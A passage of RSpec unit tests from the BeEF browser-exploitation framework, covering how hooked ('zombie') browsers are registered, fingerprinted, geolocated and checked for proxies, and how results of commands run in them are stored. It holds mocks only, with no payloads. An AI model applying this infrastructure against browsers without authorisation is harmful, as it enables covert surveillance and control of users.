receive(:httpheaders).and_return('{}') allow(zombie).to receive(:save!) allow(JSON).to receive(:parse).with('{}').and_return({}) allow(BeEF::Core::Models::HookedBrowser).to receive(:new).and_return(zombie) described_class.new(referer_data) expect(zombie).to have_received(:domain=).with('example.com') expect(zombie).to have_received(:port=).with(443) end it 'falls back to unknown domain when hostname and referer are missing' do unknown_data = data.dup unknown_data['results'].delete('browser.window.hostname') unknown_data['request'] = double('Request', ip: '127.0.0.1', referer: nil, env: {}) allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([]) allow(BeEF::Filters).to receive(:is_valid_browsername?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_browserversion?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_ip?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_browserstring?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_cookies?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_osname?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_hwname?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_date_stamp?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_pagetitle?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_url?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_pagereferrer?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_hostname?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_port?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_browser_plugins?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_system_platform?).and_return(true) allow(BeEF::Filters).to receive(:nums_only?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_yes_no?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_memory?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_gpu?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_cpu?).and_return(true) allow(BeEF::Filters).to receive(:alphanums_only?).and_return(true) allow(BeEF::Core::Models::BrowserDetails).to receive(:set) allow(BeEF::Core::Constants::Browsers).to receive(:friendly_name).and_return('Firefox') zombie = double('HookedBrowser', id: 1, ip: '127.0.0.1') allow(zombie).to receive(:firstseen=) allow(zombie).to receive(:domain=).with('unknown') allow(zombie).to receive(:port=) allow(zombie).to receive(:httpheaders=) allow(zombie).to receive(:httpheaders).and_return('{}') allow(zombie).to receive(:save!) allow(JSON).to receive(:parse).with('{}').and_return({}) allow(BeEF::Core::Models::HookedBrowser).to receive(:new).and_return(zombie) described_class.new(unknown_data) expect(zombie).to have_received(:domain=).with('unknown') end it 'parses HTTP headers from request env' do env_data = data.dup env_data['request'] = double('Request', ip: '127.0.0.1', referer: 'http://example.com', env: { 'HTTP_USER_AGENT' => 'Mozilla/5.0', 'HTTP_ACCEPT' => 'text/html' }) allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([]) allow(BeEF::Filters).to receive(:is_valid_browsername?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_browserversion?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_ip?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_browserstring?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_cookies?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_osname?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_hwname?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_date_stamp?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_pagetitle?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_url?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_pagereferrer?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_hostname?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_port?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_browser_plugins?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_system_platform?).and_return(true) allow(BeEF::Filters).to receive(:nums_only?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_yes_no?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_memory?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_gpu?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_cpu?).and_return(true) allow(BeEF::Filters).to receive(:alphanums_only?).and_return(true) allow(BeEF::Core::Models::BrowserDetails).to receive(:set) allow(BeEF::Core::Constants::Browsers).to receive(:friendly_name).and_return('Firefox') zombie = double('HookedBrowser', id: 1, ip: '127.0.0.1') allow(zombie).to receive(:firstseen=) allow(zombie).to receive(:domain=) allow(zombie).to receive(:port=) allow(zombie).to receive(:httpheaders=) do |headers| parsed = JSON.parse(headers) expect(parsed).to have_key('USER_AGENT') expect(parsed).to have_key('ACCEPT') expect(parsed['USER_AGENT']).to eq('Mozilla/5.0') end allow(zombie).to receive(:httpheaders).and_return('{}') allow(zombie).to receive(:save!) allow(JSON).to receive(:parse).and_call_original allow(JSON).to receive(:parse).with('{}').and_return({}) allow(BeEF::Core::Models::HookedBrowser).to receive(:new).and_return(zombie) described_class.new(env_data) end it 'performs DNS hostname lookup when enabled' do allow(config).to receive(:get).with('beef.dns_hostname_lookup').and_return(true) allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([]) allow(BeEF::Filters).to receive(:is_valid_browsername?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_browserversion?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_ip?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_hostname?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_browserstring?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_cookies?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_osname?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_hwname?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_date_stamp?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_pagetitle?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_url?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_pagereferrer?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_port?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_browser_plugins?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_system_platform?).and_return(true) allow(BeEF::Filters).to receive(:nums_only?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_yes_no?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_memory?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_gpu?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_cpu?).and_return(true) allow(BeEF::Filters).to receive(:alphanums_only?).and_return(true) allow(BeEF::Core::Models::BrowserDetails).to receive(:set) allow(BeEF::Core::Constants::Browsers).to receive(:friendly_name).and_return('Firefox') allow(Resolv).to receive(:getname).with('127.0.0.1').and_return('localhost') zombie = double('HookedBrowser', id: 1, ip: '127.0.0.1') allow(zombie).to receive(:firstseen=) allow(zombie).to receive(:domain=) allow(zombie).to receive(:port=) allow(zombie).to receive(:httpheaders=) allow(zombie).to receive(:httpheaders).and_return('{}') allow(zombie).to receive(:save!) allow(JSON).to receive(:parse).with('{}').and_return({}) allow(BeEF::Core::Models::HookedBrowser).to receive(:new).and_return(zombie) expect(Resolv).to receive(:getname).with('127.0.0.1') expect(BeEF::Core::Models::BrowserDetails).to receive(:set).with(session_id, 'host.name', 'localhost') described_class.new(data) end it 'handles GeoIP lookup when enabled' do allow(BeEF::Core::GeoIp.instance).to receive(:enabled?).and_return(true) geoip_data = { 'city' => { 'names' => { 'en' => 'San Francisco' } }, 'country' => { 'names' => { 'en' => 'United States' }, 'iso_code' => 'US' }, 'registered_country' => { 'names' => { 'en' => 'United States' }, 'iso_code' => 'US' }, 'continent' => { 'names' => { 'en' => 'North America' }, 'code' => 'NA' }, 'location' => { 'latitude' => 37.7749, 'longitude' => -122.4194, 'time_zone' => 'America/Los_Angeles' } } allow(BeEF::Core::GeoIp.instance).to receive(:lookup).with('127.0.0.1').and_return(geoip_data) allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([]) allow(BeEF::Filters).to receive(:is_valid_browsername?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_browserversion?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_ip?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_browserstring?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_cookies?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_osname?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_hwname?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_date_stamp?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_pagetitle?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_url?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_pagereferrer?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_hostname?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_port?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_browser_plugins?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_system_platform?).and_return(true) allow(BeEF::Filters).to receive(:nums_only?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_yes_no?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_memory?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_gpu?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_cpu?).and_return(true) allow(BeEF::Filters).to receive(:alphanums_only?).and_return(true) allow(BeEF::Core::Models::BrowserDetails).to receive(:set) allow(BeEF::Core::Constants::Browsers).to receive(:friendly_name).and_return('Firefox') zombie = double('HookedBrowser', id: 1, ip: '127.0.0.1') allow(zombie).to receive(:firstseen=) allow(zombie).to receive(:domain=) allow(zombie).to receive(:port=) allow(zombie).to receive(:httpheaders=) allow(zombie).to receive(:httpheaders).and_return('{}') allow(zombie).to receive(:save!) allow(JSON).to receive(:parse).with('{}').and_return({}) allow(BeEF::Core::Models::HookedBrowser).to receive(:new).and_return(zombie) expect(BeEF::Core::Models::BrowserDetails).to receive(:set).with(session_id, 'location.city', 'San Francisco') expect(BeEF::Core::Models::BrowserDetails).to receive(:set).with(session_id, 'location.country', 'United States') described_class.new(data) end it 'detects and stores proxy information' do proxy_data = data.dup proxy_data['request'] = double('Request', ip: '127.0.0.1', referer: 'http://example.com', env: { 'HTTP_X_FORWARDED_FOR' => '192.168.1.1', 'HTTP_VIA' => 'proxy.example.com' }) allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([]) allow(BeEF::Filters).to receive(:is_valid_browsername?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_browserversion?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_ip?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_browserstring?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_cookies?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_osname?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_hwname?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_date_stamp?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_pagetitle?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_url?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_pagereferrer?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_hostname?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_port?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_browser_plugins?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_system_platform?).and_return(true) allow(BeEF::Filters).to receive(:nums_only?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_yes_no?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_memory?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_gpu?).and_return(true) allow(BeEF::Filters).to receive(:is_valid_cpu?).and_return(true) allow(BeEF::Filters).to receive(:alphanums_only?).and_return(true) allow(BeEF::Core::Models::BrowserDetails).to receive(:set) allow(BeEF::Core::Constants::Browsers).to receive(:friendly_name).and_return('Firefox') zombie = double('HookedBrowser', id: 1, ip: '127.0.0.1') allow(zombie).to receive(:firstseen=) allow(zombie).to receive(:domain=) allow(zombie).to receive(:port=) headers_json = '{"X_FORWARDED_FOR":"192.168.1.1","VIA":"proxy.example.com"}' allow(zombie).to receive(:httpheaders=) allow(zombie).to receive(:httpheaders).and_return(headers_json) allow(zombie).to receive(:save!) allow(JSON).to receive(:parse).with(headers_json).and_return({ 'X_FORWARDED_FOR' => '192.168.1.1', 'VIA' => 'proxy.example.com' }) allow(BeEF::Core::Models::HookedBrowser).to receive(:new).and_return(zombie) expect(BeEF::Core::Models::BrowserDetails).to receive(:set).with(session_id, 'network.proxy', 'Yes') expect(BeEF::Core::Models::BrowserDetails).to receive(:set).with(session_id, 'network.proxy.client', '192.168.1.1') expect(BeEF::Core::Models::BrowserDetails).to receive(:set).with(session_id, 'network.proxy.server', 'proxy.example.com') described_class.new(proxy_data) end end end ================================================ FILE: spec/beef/core/main/handlers/commands_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe BeEF::Core::Handlers::Commands do let(:mock_request) do double('request', params: { 'cid' => 123, 'beefhook' => 'test_session_id', 'results' => { 'data' => 'test' } }, env: { 'HTTP_USER_AGENT' => 'Mozilla/5.0' }) end let(:data) do { 'request' => mock_request, 'status' => 1, 'results' => { 'data' => 'test' }, 'cid' => 123, 'beefhook' => 'test_session_id' } end let(:mock_command_class) do Class.new do def initialize(_key) @friendlyname = 'Test Command' end attr_accessor :session_id def friendlyname @friendlyname end def build_callback_datastore(_result, _command_id, _beefhook, _http_params, _http_header); end def post_execute; end end end before do allow(BeEF::Core::Command).to receive(:const_get).and_return(mock_command_class) allow(BeEF::Module).to receive(:get_key_by_class).and_return('test_module') allow(BeEF::Core::Models::Command).to receive(:save_result).and_return(true) end describe '#initialize' do it 'initializes with data and class name' do handler = described_class.new(data, 'test') expect(handler.instance_variable_get(:@data)).to eq(data) end end describe '#get_param' do let(:handler) { described_class.new(data, 'test') } it 'returns value when key exists' do expect(handler.get_param(data, 'status')).to eq(1) end it 'returns nil when key does not exist' do expect(handler.get_param(data, 'nonexistent')).to be_nil end it 'returns nil when query is not a hash' do expect(handler.get_param('not a hash', 'key')).to be_nil end end describe '#setup' do context 'with valid parameters' do it 'processes command successfully' do allow(BeEF::Filters).to receive(:is_valid_hook_session_id?).and_return(true) handler = described_class.new(data, 'test') expect(BeEF::Core::Models::Command).to receive(:save_result).with( 'test_session_id', 123, 'Test Command', { 'data' => { 'data' => 'test' } }, 1 ) handler.setup end end context 'with invalid command id' do let(:invalid_data) do { 'request' => double('request', params: { 'cid' => 'not_an_integer' }, env: {}), 'status' => 1, 'results' => {} } end it 'returns early without saving' do handler = described_class.new(invalid_data, 'test') expect(BeEF::Core::Models::Command).not_to receive(:save_result) handler.setup end end context 'with invalid session id' do let(:invalid_data) do { 'request' => double('request', params: { 'cid' => 123, 'beefhook' => 'invalid' }, env: {}), 'status' => 1, 'results' => {} } end it 'returns early without saving' do allow(BeEF::Filters).to receive(:is_valid_hook_session_id?).and_return(false) handler = described_class.new(invalid_data, 'test') expect(BeEF::Core::Models::Command).not_to receive(:save_result) handler.setup end end context 'with empty friendly name' do let(:empty_friendlyname_command) do Class.new do def initialize(_key) @friendlyname = '' end attr_accessor :session_id def friendlyname @friendlyname end def build_callback_datastore(_result, _command_id, _beefhook, _http_params, _http_header); end end end it 'returns early without saving' do allow(BeEF::Core::Command).to receive(:const_get).and_return(empty_friendlyname_command) allow(BeEF::Filters).to receive(:is_valid_hook_session_id?).and_return(true) handler = described_class.new(data, 'test') expect(BeEF::Core::Models::Command).not_to receive(:save_result) handler.setup end end context 'with invalid status' do let(:invalid_status_data) do { 'request' => mock_request, 'status' => 'not_an_integer', 'results' => { 'data' => 'test' } } end it 'returns early without saving' do allow(BeEF::Filters).to receive(:is_valid_hook_session_id?).and_return(true) handler = described_class.new(invalid_status_data, 'test') expect(BeEF::Core::Models::Command).not_to receive(:save_result) handler.setup end end context 'with empty results' do let(:empty_results_data) do { 'request' => mock_request, 'status' => 1, 'results' => {} } end it 'returns early without saving' do allow(BeEF::Filters).to receive(:is_valid_hook_session_id?).and_return(true) handler = described_class.new(empty_results_data, 'test') expect(BeEF::Core::Models::Command).not_to receive(:save_result) handler.setup end end end end ================================================ FILE: spec/beef/core/main/handlers/hookedbrowsers_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe BeEF::Core::Handlers::HookedBrowsers do # Test the confirm_browser_user_agent logic directly describe 'confirm_browser_user_agent logic' do it 'matches legacy browser user agents' do allow(BeEF::Core::Models::LegacyBrowserUserAgents).to receive(:user_agents).and_return(['IE 8.0']) # Test the logic: browser_type = user_agent.split(' ').last user_agent = 'Mozilla/5.0 IE 8.0' browser_type = user_agent.split(' ').last # Test the matching logic matched = false BeEF::Core::Models::LegacyBrowserUserAgents.user_agents.each do |ua_string| matched = true if ua_string.include?(browser_type) end expect(matched).to be true end it 'does not match non-legacy browser user agents' do allow(BeEF::Core::Models::LegacyBrowserUserAgents).to receive(:user_agents).and_return([]) user_agent = 'Chrome/91.0' browser_type = user_agent.split(' ').last matched = false BeEF::Core::Models::LegacyBrowserUserAgents.user_agents.each do |ua_string| matched = true if ua_string.include?(browser_type) end expect(matched).to be false end end end ================================================ FILE: spec/beef/core/main/migration_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'spec_helper' RSpec.describe 'BeEF::Core::Migration' do let(:migration) { BeEF::Core::Migration.instance } let(:config) { BeEF::Core::Configuration.instance } let(:api_registrar) { BeEF::API::Registrar.instance } describe '.instance' do it 'returns a singleton instance' do instance1 = BeEF::Core::Migration.instance instance2 = BeEF::Core::Migration.instance expect(instance1).to be(instance2) end end describe '#update_db!' do it 'calls update_commands!' do expect(migration).to receive(:update_commands!) expect(migration.update_db!).to be_nil end end describe '#update_commands!' do before do # Clear existing modules from database BeEF::Core::Models::CommandModule.destroy_all # Mock API registrar to verify it's called allow(api_registrar).to receive(:fire) end it 'creates new modules from config that are not in database' do # Setup config with a new module module_config = { 'test_module' => { 'path' => 'modules/test/' } } allow(config).to receive(:get).with('beef.module').and_return(module_config) allow(config).to receive(:get).with('beef.module.test_module').and_return({ 'path' => 'modules/test/' }) initial_count = BeEF::Core::Models::CommandModule.count migration.update_commands! expect(BeEF::Core::Models::CommandModule.count).to eq(initial_count + 1) created_module = BeEF::Core::Models::CommandModule.find_by(name: 'test_module') expect(created_module).not_to be_nil expect(created_module.path).to eq('modules/test/module.rb') end it 'updates config with database IDs and paths for existing modules' do # Create a module in the database first existing_module = BeEF::Core::Models::CommandModule.create!( name: 'existing_module', path: 'modules/existing/module.rb' ) # Setup config to include this existing module module_config = { 'existing_module' => { 'path' => 'modules/existing/' } } allow(config).to receive(:get).with('beef.module').and_return(module_config) allow(config).to receive(:get).with('beef.module.existing_module').and_return({ 'path' => 'modules/existing/' }) allow(config).to receive(:set) migration.update_commands! expect(config).to have_received(:set).with('beef.module.existing_module.db.id', existing_module.id) expect(config).to have_received(:set).with('beef.module.existing_module.db.path', 'modules/existing/module.rb') end it 'fires the migrate_commands API event' do allow(config).to receive(:get).with('beef.module').and_return({}) migration.update_commands! expect(api_registrar).to have_received(:fire).with(BeEF::API::Migration, 'migrate_commands') end it 'does not create modules that already exist in database' do # Create a module in the database BeEF::Core::Models::CommandModule.create!( name: 'existing_module', path: 'modules/existing/module.rb' ) # Setup config with the same module module_config = { 'existing_module' => { 'path' => 'modules/existing/' } } allow(config).to receive(:get).with('beef.module').and_return(module_config) allow(config).to receive(:get).with('beef.module.existing_module').and_return({ 'path' => 'modules/existing/' }) initial_count = BeEF::Core::Models::CommandModule.count migration.update_commands! # Should not create a duplicate expect(BeEF::Core::Models::CommandModule.count).to eq(initial_count) end end end ================================================ FILE: spec/beef/core/main/models/browser_details_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe 'BeEF BrowserDetails' do before(:all) do @session = (0...10).map { ('a'..'z').to_a[rand(26)] }.join end it 'set nil value' do BeEF::Core::Models::BrowserDetails.set(@session, 'key_with_nil_value', nil) expect(BeEF::Core::Models::BrowserDetails.get(@session, 'key_with_nil_value')).to be_empty end it 'set value' do key_name = (0...10).map { ('a'..'z').to_a[rand(26)] }.join key_value = (0...10).map { ('a'..'z').to_a[rand(26)] }.join BeEF::Core::Models::BrowserDetails.set(@session, key_name, key_value) expect(BeEF::Core::Models::BrowserDetails.get(@session, key_name)).to eql(key_value) end it 'update value' do key_name = (0...10).map { ('a'..'z').to_a[rand(26)] }.join original_key_value = (0...10).map { ('a'..'z').to_a[rand(26)] }.join BeEF::Core::Models::BrowserDetails.set(@session, key_name, original_key_value).to_s expect(BeEF::Core::Models::BrowserDetails.get(@session, key_name)).to eql(original_key_value) new_key_value = (0...10).map { ('a'..'z').to_a[rand(26)] }.join BeEF::Core::Models::BrowserDetails.set(@session, key_name, new_key_value).to_s expect(BeEF::Core::Models::BrowserDetails.get(@session, key_name)).to_not eql(original_key_value) expect(BeEF::Core::Models::BrowserDetails.get(@session, key_name)).to eql(new_key_value) end end ================================================ FILE: spec/beef/core/main/models/legacybrowseruseragents_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe BeEF::Core::Models::LegacyBrowserUserAgents do describe '.user_agents' do it 'returns an array' do expect(described_class.user_agents).to be_a(Array) end it 'returns an array that can be iterated' do result = described_class.user_agents.map { |ua| ua } expect(result).to be_a(Array) end end end ================================================ FILE: spec/beef/core/main/models/optioncache_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe BeEF::Core::Models::OptionCache do describe '.first_or_create' do it 'creates a new option cache with a name' do name = 'test_option' option = described_class.first_or_create(name: name) expect(option).to be_persisted expect(option.name).to eq(name) expect(option.value).to be_nil end it 'returns existing option cache if it already exists' do name = 'existing_option' existing = described_class.create!(name: name, value: 'existing_value') option = described_class.first_or_create(name: name) expect(option.id).to eq(existing.id) expect(option.name).to eq(name) expect(option.value).to eq('existing_value') end end describe '.where' do it 'finds option cache by name' do name = 'findable_option' described_class.create!(name: name, value: 'test_value') option = described_class.where(name: name).first expect(option).not_to be_nil expect(option.name).to eq(name) expect(option.value).to eq('test_value') end it 'returns nil when option cache does not exist' do option = described_class.where(name: 'non_existent').first expect(option).to be_nil end end describe 'attributes' do it 'can set and retrieve name' do option = described_class.new(name: 'test_name') expect(option.name).to eq('test_name') end it 'can set and retrieve value' do option = described_class.new(value: 'test_value') expect(option.value).to eq('test_value') end end end ================================================ FILE: spec/beef/core/main/models/result_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe BeEF::Core::Models::Result do describe 'associations' do it 'has_one command' do expect(described_class.reflect_on_association(:command)).not_to be_nil expect(described_class.reflect_on_association(:command).macro).to eq(:has_one) end it 'has_one hooked_browser' do expect(described_class.reflect_on_association(:hooked_browser)).not_to be_nil expect(described_class.reflect_on_association(:hooked_browser).macro).to eq(:has_one) end end describe '.create' do let(:hooked_browser) { BeEF::Core::Models::HookedBrowser.create!(session: 'test_session', ip: '127.0.0.1') } let(:command_module) { BeEF::Core::Models::CommandModule.create!(name: 'test_module', path: 'modules/test/') } let(:command) { BeEF::Core::Models::Command.create!(hooked_browser_id: hooked_browser.id, command_module_id: command_module.id) } it 'creates a result with required attributes' do result = described_class.create!( hooked_browser_id: hooked_browser.id, command_id: command.id, data: { 'test' => 'data' }.to_json, status: 0, date: Time.now.to_i ) expect(result).to be_persisted expect(result.hooked_browser_id).to eq(hooked_browser.id) expect(result.command_id).to eq(command.id) expect(result.status).to eq(0) end it 'can access command_id' do result = described_class.create!( hooked_browser_id: hooked_browser.id, command_id: command.id, data: {}.to_json, status: 0, date: Time.now.to_i ) expect(result.command_id).to eq(command.id) end end end ================================================ FILE: spec/beef/core/main/network_stack/assethandler_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe BeEF::Core::NetworkStack::Handlers::AssetHandler do let(:handler) { described_class.instance } before do @mock_server = double('server', mount: true, unmount: true, remap: true) allow(BeEF::Core::Server).to receive(:instance).and_return(@mock_server) # Reset singleton state handler.instance_variable_set(:@allocations, {}) handler.instance_variable_set(:@sockets, {}) handler.instance_variable_set(:@http_server, @mock_server) end describe '#initialize' do it 'initializes with empty allocations and sockets' do expect(handler.allocations).to eq({}) expect(handler.root_dir).to be_a(String) end end describe '#build_url' do it 'returns path when path is provided' do expect(handler.build_url('/test', nil)).to eq('/test') end it 'appends extension when provided' do expect(handler.build_url('/test', 'js')).to eq('/test.js') end it 'generates random URL when path is nil' do url = handler.build_url(nil, nil) expect(url).to start_with('/') expect(url.length).to be > 1 end it 'generates random URL with extension when path is nil' do url = handler.build_url(nil, 'js') expect(url).to end_with('.js') expect(url).to start_with('/') end end describe '#check' do it 'returns false when URL is not allocated' do expect(handler.check('/nonexistent')).to be false end it 'returns true when count is -1 (unlimited)' do handler.instance_variable_set(:@allocations, { '/test' => { 'count' => -1 } }) expect(handler.check('/test')).to be true end it 'decrements count and returns true when count > 0' do handler.instance_variable_set(:@allocations, { '/test' => { 'count' => 2 } }) expect(handler.check('/test')).to be true expect(handler.allocations['/test']['count']).to eq(1) end it 'unbinds when count reaches 0' do handler.instance_variable_set(:@allocations, { '/test' => { 'count' => 1 } }) expect(handler).to receive(:unbind).with('/test') handler.check('/test') end it 'returns false when count is 0' do handler.instance_variable_set(:@allocations, { '/test' => { 'count' => 0 } }) expect(handler.check('/test')).to be false end end describe '#bind_redirect' do it 'binds redirector to URL' do expect(@mock_server).to receive(:mount) expect(@mock_server).to receive(:remap) url = handler.bind_redirect('http://example.com', '/redirect') expect(url).to eq('/redirect') expect(handler.allocations['/redirect']).to eq({ 'target' => 'http://example.com' }) end it 'generates random URL when path is nil' do expect(@mock_server).to receive(:mount) expect(@mock_server).to receive(:remap) url = handler.bind_redirect('http://example.com') expect(url).to start_with('/') expect(handler.allocations[url]).not_to be_nil end end describe '#bind_raw' do it 'binds raw HTTP response to URL' do expect(@mock_server).to receive(:mount) expect(@mock_server).to receive(:remap) url = handler.bind_raw('200', { 'Content-Type' => 'text/html' }, '', '/raw') expect(url).to eq('/raw') expect(handler.allocations['/raw']).to eq({}) end end describe '#bind' do let(:test_file) { '/spec/support/assets/test.txt' } let(:test_file_path) { File.join(handler.root_dir, test_file) } before do FileUtils.mkdir_p(File.dirname(test_file_path)) File.write(test_file_path, 'test content') end after do FileUtils.rm_f(test_file_path) end it 'binds file to URL when file exists' do expect(@mock_server).to receive(:mount) expect(@mock_server).to receive(:remap) url = handler.bind(test_file, '/test') expect(url).to eq('/test') expect(handler.allocations['/test']['file']).to include(test_file) end it 'returns nil when file does not exist' do expect(@mock_server).not_to receive(:mount) result = handler.bind('/nonexistent/file.txt', '/test') expect(result).to be_nil end it 'uses text/plain content type when extension is nil' do expect(@mock_server).to receive(:mount) do |_url, handler_obj| expect(handler_obj.instance_variable_get(:@header)['Content-Type']).to eq('text/plain') end expect(@mock_server).to receive(:remap) handler.bind(test_file, '/test', nil) end end describe '#unbind' do it 'removes allocation and unmounts URL' do handler.instance_variable_set(:@allocations, { '/test' => {} }) expect(@mock_server).to receive(:unmount).with('/test') expect(@mock_server).to receive(:remap) handler.unbind('/test') expect(handler.allocations).not_to have_key('/test') end end end ================================================ FILE: spec/beef/core/main/network_stack/handlers/dynamic_reconstruction_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe 'BeEF Dynamic Reconsturction' do before(:all) do @__ar_config_snapshot = SpecActiveRecordConnection.snapshot @port = 2001 config = {} config[:BindAddress] = '127.0.0.1' config[:Port] = @port.to_s @mounts = {} @mounts['/test'] = BeEF::Core::NetworkStack::Handlers::DynamicReconstruction.new @rackApp = Rack::URLMap.new(@mounts) Thin::Logging.silent = true @server = Thin::Server.new('127.0.0.1', @port.to_s, @rackApp) trap("INT") { @server.stop } trap("TERM") { @server.stop } # ***** IMPORTANT: close any and all AR/OTR connections before forking ***** disconnect_all_active_record! @pid = fork do @server.start! end # wait for server to start sleep 1 end after(:all) do Process.kill("INT",@pid) SpecActiveRecordConnection.restore!(@__ar_config_snapshot) end it 'delete' do response = Curl::Easy.http_delete("http://127.0.0.1:#{@port}/test") expect(response.response_code).to eql(404) end it 'put' do response = Curl::Easy.http_put("http://127.0.0.1:#{@port}/test", nil) expect(response.response_code).to eql(404) end it 'head' do response = Curl::Easy.http_head("http://127.0.0.1:#{@port}/test") expect(response.response_code).to eql(404) end context 'get' do it 'no params' do response = Curl::Easy.http_get("http://127.0.0.1:#{@port}/test") expect(response.response_code).to eql(404) end it 'zero values' do response = 